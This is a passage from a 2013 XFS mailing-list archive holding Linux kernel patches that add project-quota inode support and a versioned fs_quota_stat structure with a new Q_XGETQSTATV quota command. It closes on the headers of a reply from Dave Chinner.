XFS_QMOPT_GQUOTA) mp->m_sb.sb_gquotino = (*ip)->i_ino; + else + mp->m_sb.sb_pquotino = (*ip)->i_ino; spin_unlock(&mp->m_sb_lock); xfs_mod_sb(tp, sbfields); @@ -1484,11 +1487,10 @@ xfs_qm_init_quotainos( if (error) goto error_rele; } - /* XXX: Use gquotino for now */ if (XFS_IS_PQUOTA_ON(mp) && - mp->m_sb.sb_gquotino != NULLFSINO) { - ASSERT(mp->m_sb.sb_gquotino > 0); - error = xfs_iget(mp, NULL, mp->m_sb.sb_gquotino, + mp->m_sb.sb_pquotino != NULLFSINO) { + ASSERT(mp->m_sb.sb_pquotino > 0); + error = xfs_iget(mp, NULL, mp->m_sb.sb_pquotino, 0, 0, &pip); if (error) goto error_rele; @@ -1496,7 +1498,8 @@ xfs_qm_init_quotainos( } else { flags |= XFS_QMOPT_SBVERSION; sbflags |= (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | - XFS_SB_GQUOTINO | XFS_SB_QFLAGS); + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | + XFS_SB_QFLAGS); } /* @@ -1524,9 +1527,8 @@ xfs_qm_init_quotainos( flags &= ~XFS_QMOPT_SBVERSION; } if (XFS_IS_PQUOTA_ON(mp) && pip == NULL) { - /* XXX: Use XFS_SB_GQUOTINO for now */ error = xfs_qm_qino_alloc(mp, &pip, - sbflags | XFS_SB_GQUOTINO, + sbflags | XFS_SB_PQUOTINO, flags | XFS_QMOPT_PQUOTA); if (error) goto error_rele; diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index e4f8b2d..132e811 100644 --- a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -296,8 +296,10 @@ xfs_qm_scall_trunc_qfiles( if (flags & XFS_DQ_USER) error = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_uquotino); - if (flags & (XFS_DQ_GROUP|XFS_DQ_PROJ)) + if (flags & XFS_DQ_GROUP) error2 = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_gquotino); + if (flags & XFS_DQ_PROJ) + error2 = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_pquotino); return error ? error : error2; } @@ -413,8 +415,10 @@ xfs_qm_scall_getqstat( struct xfs_quotainfo *q = mp->m_quotainfo; struct xfs_inode *uip = NULL; struct xfs_inode *gip = NULL; + struct xfs_inode *pip = NULL; bool tempuqip = false; bool tempgqip = false; + bool temppqip = false; memset(out, 0, sizeof(fs_quota_stat_t)); @@ -422,6 +426,7 @@ xfs_qm_scall_getqstat( if (!xfs_sb_version_hasquota(&mp->m_sb)) { out->qs_uquota.qfs_ino = NULLFSINO; out->qs_gquota.qfs_ino = NULLFSINO; + out->qs_pquota.qfs_ino = NULLFSINO; return (0); } out->qs_flags = (__uint16_t) xfs_qm_export_flags(mp->m_qflags & @@ -430,10 +435,13 @@ xfs_qm_scall_getqstat( out->qs_pad = 0; out->qs_uquota.qfs_ino = mp->m_sb.sb_uquotino; out->qs_gquota.qfs_ino = mp->m_sb.sb_gquotino; + if (&out->qs_gquota != &out->qs_pquota) + out->qs_pquota.qfs_ino = mp->m_sb.sb_pquotino; if (q) { uip = q->qi_uquotaip; gip = q->qi_gquotaip; + pip = q->qi_pquotaip; } if (!uip && mp->m_sb.sb_uquotino != NULLFSINO) { if (xfs_iget(mp, NULL, mp->m_sb.sb_uquotino, @@ -445,6 +453,11 @@ xfs_qm_scall_getqstat( 0, 0, &gip) == 0) tempgqip = true; } + if (!pip && mp->m_sb.sb_pquotino != NULLFSINO) { + if (xfs_iget(mp, NULL, mp->m_sb.sb_pquotino, + 0, 0, &pip) == 0) + temppqip = true; + } if (uip) { out->qs_uquota.qfs_nblks = uip->i_d.di_nblocks; out->qs_uquota.qfs_nextents = uip->i_d.di_nextents; @@ -457,6 +470,12 @@ xfs_qm_scall_getqstat( if (tempgqip) IRELE(gip); } + if (pip) { + out->qs_pquota.qfs_nblks = pip->i_d.di_nblocks; + out->qs_pquota.qfs_nextents = pip->i_d.di_nextents; + if (temppqip) + IRELE(pip); + } if (q) { out->qs_incoredqs = q->qi_dquots; out->qs_btimelimit = q->qi_btimelimit; diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index 78f9e70..d372fdf 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -621,7 +621,14 @@ xfs_sb_has_incompat_log_feature( static inline bool xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) { - return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); + return (ino == sbp->sb_uquotino || + ino == sbp->sb_gquotino || + ino == sbp->sb_pquotino); +} + +static inline int xfs_sb_version_has_pquota(xfs_sb_t *sbp) +{ + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; } /* diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 1d68ffc..5ade637 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -421,12 +421,6 @@ xfs_parseargs( } #endif - if ((mp->m_qflags & (XFS_GQUOTA_ACCT | XFS_GQUOTA_ACTIVE)) && - (mp->m_qflags & (XFS_PQUOTA_ACCT | XFS_PQUOTA_ACTIVE))) { - xfs_warn(mp, "cannot mount with both project and group quota"); - return EINVAL; - } - if ((dsunit && !dswidth) || (!dsunit && dswidth)) { xfs_warn(mp, "sunit and swidth must be specified together"); return EINVAL; @@ -556,14 +550,13 @@ xfs_showargs( else if (mp->m_qflags & XFS_UQUOTA_ACCT) seq_puts(m, "," MNTOPT_UQUOTANOENF); - /* Either project or group quotas can be active, not both */ - if (mp->m_qflags & XFS_PQUOTA_ACCT) { if (mp->m_qflags & XFS_PQUOTA_ENFD) seq_puts(m, "," MNTOPT_PRJQUOTA); else seq_puts(m, "," MNTOPT_PQUOTANOENF); - } else if (mp->m_qflags & XFS_GQUOTA_ACCT) { + } + if (mp->m_qflags & XFS_GQUOTA_ACCT) { if (mp->m_qflags & XFS_GQUOTA_ENFD) seq_puts(m, "," MNTOPT_GRPQUOTA); else @@ -1396,6 +1389,14 @@ xfs_finish_flags( return XFS_ERROR(EROFS); } + if ((mp->m_qflags & (XFS_GQUOTA_ACCT | XFS_GQUOTA_ACTIVE)) && + (mp->m_qflags & (XFS_PQUOTA_ACCT | XFS_PQUOTA_ACTIVE)) && + !xfs_sb_version_has_pquota(&mp->m_sb)) { + xfs_warn(mp, + "Super block does not support project and group quota together"); + return XFS_ERROR(EINVAL); + } + return 0; } diff --git a/include/uapi/linux/dqblk_xfs.h b/include/uapi/linux/dqblk_xfs.h index 8655280..f17e3bb 100644 --- a/include/uapi/linux/dqblk_xfs.h +++ b/include/uapi/linux/dqblk_xfs.h @@ -155,6 +155,7 @@ typedef struct fs_quota_stat { __s8 qs_pad; /* unused */ fs_qfilestat_t qs_uquota; /* user quota storage information */ fs_qfilestat_t qs_gquota; /* group quota storage information */ +#define qs_pquota qs_gquota __u32 qs_incoredqs; /* number of dquots incore */ __s32 qs_btimelimit; /* limit for blks timer */ __s32 qs_itimelimit; /* limit for inodes timer */ -- 1.7.1 From sekharan@us.ibm.com Thu Jul 11 00:01:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 07BED7F6F for ; Thu, 11 Jul 2013 00:01:11 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id EB7C58F8040 for ; Wed, 10 Jul 2013 22:01:07 -0700 (PDT) X-ASG-Debug-ID: 1373518866-04cbb0468fdd63f0001-NocioJ Received: from e37.co.us.ibm.com (e37.co.us.ibm.com [32.97.110.158]) by cuda.sgi.com with ESMTP id zI7lr2AvpgUfO0GP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 22:01:06 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.158 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] Received: from /spool/local by e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 10 Jul 2013 23:01:06 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] Received: from d03dlp03.boulder.ibm.com (9.17.202.179) by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 10 Jul 2013 23:01:05 -0600 Received: from d03relay01.boulder.ibm.com (d03relay01.boulder.ibm.com [9.17.195.226]) by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id E588919D8036 for ; Wed, 10 Jul 2013 23:00:53 -0600 (MDT) Received: from d03av02.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by d03relay01.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6B513EQ032336 for ; Wed, 10 Jul 2013 23:01:03 -0600 Received: from d03av02.boulder.ibm.com (loopback [127.0.0.1]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6B512Ad006201 for ; Wed, 10 Jul 2013 23:01:02 -0600 Received: from chandra-dt.austin.ibm.com (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6B50l7R004066; Wed, 10 Jul 2013 23:01:00 -0600 From: Chandra Seetharaman To: xfs@oss.sgi.com Cc: Chandra Seetharaman Subject: [PATCH v11 3/4] xfs: Add proper versioning support to fs_quota_stat Date: Thu, 11 Jul 2013 00:00:42 -0500 X-ASG-Orig-Subj: [PATCH v11 3/4] xfs: Add proper versioning support to fs_quota_stat Message-Id: <1373518843-1492-4-git-send-email-sekharan@us.ibm.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> References: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> cc: swhiteho@redhat.com cc: jack@suse.cz X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071105-7408-0000-0000-000011EA8EBE X-Barracuda-Connect: e37.co.us.ibm.com[32.97.110.158] X-Barracuda-Start-Time: 1373518866 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Added appropriate pads and code for backward compatibility. Copied over the old version as it is different from the newer padded version. New callers of the system call have to set the version of the data structure being passed, and kernel will fill as much data as requested. Signed-off-by: Chandra Seetharaman --- fs/gfs2/quota.c | 3 -- fs/quota/quota.c | 67 +++++++++++++++++++++++++++++++++++++-- fs/xfs/xfs_qm_syscalls.c | 4 -- include/uapi/linux/dqblk_xfs.h | 60 +++++++++++++++++++++++++++++++---- 4 files changed, 116 insertions(+), 18 deletions(-) diff --git a/fs/gfs2/quota.c b/fs/gfs2/quota.c index c7c840e..ca0dccd 100644 --- a/fs/gfs2/quota.c +++ b/fs/gfs2/quota.c @@ -1443,9 +1443,6 @@ static int gfs2_quota_get_xstate(struct super_block *sb, { struct gfs2_sbd *sdp = sb->s_fs_info; - memset(fqs, 0, sizeof(struct fs_quota_stat)); - fqs->qs_version = FS_QSTAT_VERSION; - switch (sdp->sd_args.ar_quota) { case GFS2_QUOTA_ON: fqs->qs_flags |= (FS_QUOTA_UDQ_ENFD | FS_QUOTA_GDQ_ENFD); diff --git a/fs/quota/quota.c b/fs/quota/quota.c index c7314f1..ac5dd3a 100644 --- a/fs/quota/quota.c +++ b/fs/quota/quota.c @@ -204,15 +204,72 @@ static int quota_setxstate(struct super_block *sb, int cmd, void __user *addr) return sb->s_qcop->set_xstate(sb, flags, cmd); } -static int quota_getxstate(struct super_block *sb, void __user *addr) +static int quota_getxstate(struct super_block *sb, void __user *addr, + bool older_version) { struct fs_quota_stat fqs; - int ret; + struct fs_quota_stat_v1 fqs_v1; + int ret, size; + void *fqsp; if (!sb->s_qcop->get_xstate) return -ENOSYS; + + memset(&fqs, 0, sizeof(struct fs_quota_stat)); + + if (older_version) { + fqs.qs_version = FS_QSTAT_VERSION; + size = FS_QSTAT_V1_SIZE; + } else { + if (copy_from_user(&fqs, addr, 1)) /* just get the version */ + return -EFAULT; + + /* + * For forward compatibility. Check against all supported + * versions, and if the version provided is not supported + * by the kernel, set to the highest version supported. + * For now only FS_QSTAT_VERSION_2 is supported. + */ + if (fqs.qs_version != FS_QSTAT_VERSION_2) + fqs.qs_version = FS_QSTAT_VERSION_2; + + /* + * size need to be set based on the version, if + * different versions need different size. + * For now only version 2 exists, so just set size + * to FS_QSTAT_V2_SIZE. + */ + size = FS_QSTAT_V2_SIZE; + } + ret = sb->s_qcop->get_xstate(sb, &fqs); - if (!ret && copy_to_user(addr, &fqs, sizeof(fqs))) + if (ret) + return ret; + + if (fqs.qs_version == FS_QSTAT_VERSION) { + fqs_v1.qs_version = fqs.qs_version; + fqs_v1.qs_flags = fqs.qs_flags; + fqs_v1.qs_pad = 0; + + fqs_v1.qs_uquota.qfs_ino = fqs.qs_uquota.qfs_ino; + fqs_v1.qs_uquota.qfs_nblks = fqs.qs_uquota.qfs_nblks; + fqs_v1.qs_uquota.qfs_nextents = fqs.qs_uquota.qfs_nextents; + + fqs_v1.qs_gquota.qfs_ino = fqs.qs_gquota.qfs_ino; + fqs_v1.qs_gquota.qfs_nblks = fqs.qs_gquota.qfs_nblks; + fqs_v1.qs_gquota.qfs_nextents = fqs.qs_gquota.qfs_nextents; + + fqs_v1.qs_incoredqs = fqs.qs_incoredqs; + fqs_v1.qs_btimelimit = fqs.qs_btimelimit; + fqs_v1.qs_itimelimit = fqs.qs_itimelimit; + fqs_v1.qs_rtbtimelimit = fqs.qs_rtbtimelimit; + fqs_v1.qs_bwarnlimit = fqs.qs_bwarnlimit; + fqs_v1.qs_iwarnlimit = fqs.qs_iwarnlimit; + fqsp = &fqs_v1; + } else + fqsp = &fqs; + + if (copy_to_user(addr, fqsp, size)) return -EFAULT; return ret; } @@ -292,7 +349,9 @@ static int do_quotactl(struct super_block *sb, int type, int cmd, qid_t id, case Q_XQUOTARM: return quota_setxstate(sb, cmd, addr); case Q_XGETQSTAT: - return quota_getxstate(sb, addr); + return quota_getxstate(sb, addr, 1); + case Q_XGETQSTATV: + return quota_getxstate(sb, addr, 0); case Q_XSETQLIM: return quota_setxquota(sb, type, id, addr); case Q_XGETQUOTA: diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index 132e811..02411a7 100644 --- a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -420,9 +420,6 @@ xfs_qm_scall_getqstat( bool tempgqip = false; bool temppqip = false; - memset(out, 0, sizeof(fs_quota_stat_t)); - - out->qs_version = FS_QSTAT_VERSION; if (!xfs_sb_version_hasquota(&mp->m_sb)) { out->qs_uquota.qfs_ino = NULLFSINO; out->qs_gquota.qfs_ino = NULLFSINO; @@ -432,7 +429,6 @@ xfs_qm_scall_getqstat( out->qs_flags = (__uint16_t) xfs_qm_export_flags(mp->m_qflags & (XFS_ALL_QUOTA_ACCT| XFS_ALL_QUOTA_ENFD)); - out->qs_pad = 0; out->qs_uquota.qfs_ino = mp->m_sb.sb_uquotino; out->qs_gquota.qfs_ino = mp->m_sb.sb_gquotino; if (&out->qs_gquota != &out->qs_pquota) diff --git a/include/uapi/linux/dqblk_xfs.h b/include/uapi/linux/dqblk_xfs.h index f17e3bb..f02336b 100644 --- a/include/uapi/linux/dqblk_xfs.h +++ b/include/uapi/linux/dqblk_xfs.h @@ -38,6 +38,7 @@ #define Q_XGETQSTAT XQM_CMD(5) /* get quota subsystem status */ #define Q_XQUOTARM XQM_CMD(6) /* free disk space used by dquots */ #define Q_XQUOTASYNC XQM_CMD(7) /* delalloc flush, updates dquots */ +#define Q_XGETQSTATV XQM_CMD(8) /* newer version of get quota */ /* * fs_disk_quota structure: @@ -47,6 +48,7 @@ * 512 bytes. */ #define FS_DQUOT_VERSION 1 /* fs_disk_quota.d_version */ + typedef struct fs_disk_quota { __s8 d_version; /* version of this structure */ __s8 d_flags; /* FS_{USER,PROJ,GROUP}_QUOTA */ @@ -137,31 +139,75 @@ typedef struct fs_disk_quota { * Provides a centralized way to get meta information about the quota subsystem. * eg. space taken up for user and group quotas, number of dquots currently * incore. + * With version FS_QSTAT_VERSION, user space can send in an uninitialized + * buffer and data will be filled by the kernel. + * Starting FS_QSTAT_VERSION_2, to be used with Q_XGETQSTATV, user space + * caller should set qs_version to the appropriate version of the + * fs_quota_stat data structure they are providing. On return, user + * space should check qs_version and use appropriate fields supported by + * that version. */ #define FS_QSTAT_VERSION 1 /* fs_quota_stat.qs_version */ +#define FS_QSTAT_VERSION_2 2 /* new field qs_pquota; realignment */ /* * Some basic information about 'quota files'. */ -typedef struct fs_qfilestat { +struct fs_qfilestat_v1 { __u64 qfs_ino; /* inode number */ __u64 qfs_nblks; /* number of BBs 512-byte-blks */ __u32 qfs_nextents; /* number of extents */ -} fs_qfilestat_t; +}; -typedef struct fs_quota_stat { +struct fs_quota_stat_v1 { __s8 qs_version; /* version number for future changes */ __u16 qs_flags; /* FS_QUOTA_{U,P,G}DQ_{ACCT,ENFD} */ __s8 qs_pad; /* unused */ - fs_qfilestat_t qs_uquota; /* user quota storage information */ - fs_qfilestat_t qs_gquota; /* group quota storage information */ -#define qs_pquota qs_gquota + struct fs_qfilestat_v1 qs_uquota; /* user quota information */ + struct fs_qfilestat_v1 qs_gquota; /* group quota information */ __u32 qs_incoredqs; /* number of dquots incore */ __s32 qs_btimelimit; /* limit for blks timer */ __s32 qs_itimelimit; /* limit for inodes timer */ __s32 qs_rtbtimelimit;/* limit for rt blks timer */ __u16 qs_bwarnlimit; /* limit for num warnings */ __u16 qs_iwarnlimit; /* limit for num warnings */ -} fs_quota_stat_t; +}; + +/* + * Some basic information about 'quota files'. Version 2. + */ +struct fs_qfilestat { + __u64 qfs_ino; /* inode number */ + __u64 qfs_nblks; /* number of BBs 512-byte-blks */ + __u32 qfs_nextents; /* number of extents */ + __u32 qfs_pad; /* pad for 8-byte alignment */ +}; + +struct fs_quota_stat { + __s8 qs_version; /* version for future changes */ + __u8 qs_pad1; /* pad for 16bit alignment */ + __u16 qs_flags; /* FS_QUOTA_.* flags */ + __u32 qs_incoredqs; /* number of dquots incore */ + struct fs_qfilestat qs_uquota; /* user quota information */ + struct fs_qfilestat qs_gquota; /* group quota information */ + struct fs_qfilestat qs_pquota; /* project quota information */ + __s32 qs_btimelimit; /* limit for blks timer */ + __s32 qs_itimelimit; /* limit for inodes timer */ + __s32 qs_rtbtimelimit;/* limit for rt blks timer */ + __u16 qs_bwarnlimit; /* limit for num warnings */ + __u16 qs_iwarnlimit; /* limit for num warnings */ + __u64 qs_pad2[8]; /* for future proofing */ +}; + +/* + * Since Version 1 did not have padding at appropriate places, + * a new data structure has been defined for the older version to + * provide backward compatibility. + * Future extentions of this data structure won't require new + * data structure definitions as the current one can be extended + * with the logic and padding in place now. + */ +#define FS_QSTAT_V1_SIZE (sizeof(struct fs_quota_stat_v1)) +#define FS_QSTAT_V2_SIZE (sizeof(struct fs_quota_stat)) #endif /* _LINUX_DQBLK_XFS_H */ -- 1.7.1 From sekharan@us.ibm.com Thu Jul 11 00:01:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0729C7F7E for ; Thu, 11 Jul 2013 00:01:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B566A8F8037 for ; Wed, 10 Jul 2013 22:01:21 -0700 (PDT) X-ASG-Debug-ID: 1373518880-04bdf02b8ebc0c90001-NocioJ Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.149]) by cuda.sgi.com with ESMTP id leC3Qzy3a29sJ1EU (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 22:01:20 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.149 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.149] Received: from /spool/local by e31.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 10 Jul 2013 23:01:20 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.149] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.149] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.149] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.149] Received: from d03dlp03.boulder.ibm.com (9.17.202.179) by e31.co.us.ibm.com (192.168.1.131) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 10 Jul 2013 23:01:18 -0600 Received: from d03relay05.boulder.ibm.com (d03relay05.boulder.ibm.com [9.17.195.107]) by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id C3A2919D8041 for ; Wed, 10 Jul 2013 23:01:07 -0600 (MDT) Received: from d03av02.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by d03relay05.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6B51Apv087080 for ; Wed, 10 Jul 2013 23:01:10 -0600 Received: from d03av02.boulder.ibm.com (loopback [127.0.0.1]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6B5170h006767 for ; Wed, 10 Jul 2013 23:01:08 -0600 Received: from chandra-dt.austin.ibm.com (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6B50l7S004066; Wed, 10 Jul 2013 23:01:03 -0600 From: Chandra Seetharaman To: xfs@oss.sgi.com Cc: Chandra Seetharaman Subject: [PATCH v11 4/4] xfs: Use new qs_pquota field in fs_quota_stat for Q_XGETQSTATV Date: Thu, 11 Jul 2013 00:00:43 -0500 X-ASG-Orig-Subj: [PATCH v11 4/4] xfs: Use new qs_pquota field in fs_quota_stat for Q_XGETQSTATV Message-Id: <1373518843-1492-5-git-send-email-sekharan@us.ibm.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> References: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071105-7282-0000-0000-00001926C60D X-Barracuda-Connect: e31.co.us.ibm.com[32.97.110.149] X-Barracuda-Start-Time: 1373518880 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 For the Q_XGETQSTATV quota command, if the new version of fs_quota_stat data structure is used, fill the project quota information. Signed-off-by: Chandra Seetharaman --- fs/xfs/xfs_qm_syscalls.c | 38 ++++++++++++++++++++++++++------------ 1 files changed, 26 insertions(+), 12 deletions(-) diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index 02411a7..2154129 100644 --- a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -406,6 +406,14 @@ xfs_qm_scall_quotaon( /* * Return quota status information, such as uquota-off, enforcements, etc. + * + * We support two different versions of the fs_quota_stat structure + * here. If the version is FS_QSTAT_VERSION, then there is no + * separate project quota fields, and so we write project quota + * information into the group quota fields. With FS_QSTAT_VERSION_2, + * there is a separate project quota field so we can use that + * instead to pass both group and project quota back to user space. + * */ int xfs_qm_scall_getqstat( @@ -420,19 +428,15 @@ xfs_qm_scall_getqstat( bool tempgqip = false; bool temppqip = false; - if (!xfs_sb_version_hasquota(&mp->m_sb)) { - out->qs_uquota.qfs_ino = NULLFSINO; - out->qs_gquota.qfs_ino = NULLFSINO; - out->qs_pquota.qfs_ino = NULLFSINO; - return (0); - } + out->qs_uquota.qfs_ino = NULLFSINO; + out->qs_gquota.qfs_ino = NULLFSINO; + out->qs_pquota.qfs_ino = NULLFSINO; + if (!xfs_sb_version_hasquota(&mp->m_sb)) + return 0; + out->qs_flags = (__uint16_t) xfs_qm_export_flags(mp->m_qflags & (XFS_ALL_QUOTA_ACCT| XFS_ALL_QUOTA_ENFD)); - out->qs_uquota.qfs_ino = mp->m_sb.sb_uquotino; - out->qs_gquota.qfs_ino = mp->m_sb.sb_gquotino; - if (&out->qs_gquota != &out->qs_pquota) - out->qs_pquota.qfs_ino = mp->m_sb.sb_pquotino; if (q) { uip = q->qi_uquotaip; @@ -454,21 +458,31 @@ xfs_qm_scall_getqstat( 0, 0, &pip) == 0) temppqip = true; } + if (uip) { + out->qs_uquota.qfs_ino = mp->m_sb.sb_uquotino; out->qs_uquota.qfs_nblks = uip->i_d.di_nblocks; out->qs_uquota.qfs_nextents = uip->i_d.di_nextents; if (tempuqip) IRELE(uip); } if (gip) { + out->qs_gquota.qfs_ino = mp->m_sb.sb_gquotino; out->qs_gquota.qfs_nblks = gip->i_d.di_nblocks; out->qs_gquota.qfs_nextents = gip->i_d.di_nextents; if (tempgqip) IRELE(gip); } if (pip) { - out->qs_pquota.qfs_nblks = pip->i_d.di_nblocks; - out->qs_pquota.qfs_nextents = pip->i_d.di_nextents; + if (out->qs_version >= FS_QSTAT_VERSION_2) { + out->qs_pquota.qfs_ino = mp->m_sb.sb_pquotino; + out->qs_pquota.qfs_nblks = pip->i_d.di_nblocks; + out->qs_pquota.qfs_nextents = pip->i_d.di_nextents; + } else { + out->qs_gquota.qfs_ino = mp->m_sb.sb_pquotino; + out->qs_gquota.qfs_nblks = pip->i_d.di_nblocks; + out->qs_gquota.qfs_nextents = pip->i_d.di_nextents; + } if (temppqip) IRELE(pip); } -- 1.7.1 From david@fromorbit.com Thu Jul 11 02:18:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C1CE57F6F for ; Thu, 11 Jul 2013 02:18:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4F918AC002 for ; Thu, 11 Jul 2013 00:18:47 -0700 (PDT) X-ASG-Debug-ID: 1373527116-04bdf0233cdf2280001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id NMeGCgUFG1AGGY3b for ; Thu, 11 Jul 2013 00:18:39 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmAMAEZb3lF5LD3k/2dsb2JhbABagwmDH7oBhSwEAYEJF3SCIwEBBAE6HCMFCwgDDgoJJQ8FJQMhE4gJBbc6Fo4dE4EdB4MJbAOXWYoihymDIyqBLQ Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail06.adl2.internode.on.net with ESMTP; 11 Jul 2013 16:48:36 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UxB96-0000rF-HU; Thu, 11 Jul 2013 17:18:32 +1000 Date: Thu, 11 Jul 2013 17:18:32 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: Jan Kara , Ben Myers , swhiteho@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat Message-ID: <20130711071832.GC5652@dastard> X-ASG-Orig-Subj: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-11-git-send-email-sekharan@us.ibm.com> <20130710155538.GY20932@sgi.com> <20130710162602.GB32444@quack.suse.cz> <1373489390.6020.30.camel@chandra-dt.ibm.com> <20130711014501.GY3438@dastard> <1373516161.4555.10.camel@chandra-laptop.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373516161.4555.10.camel@chandra-laptop.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] 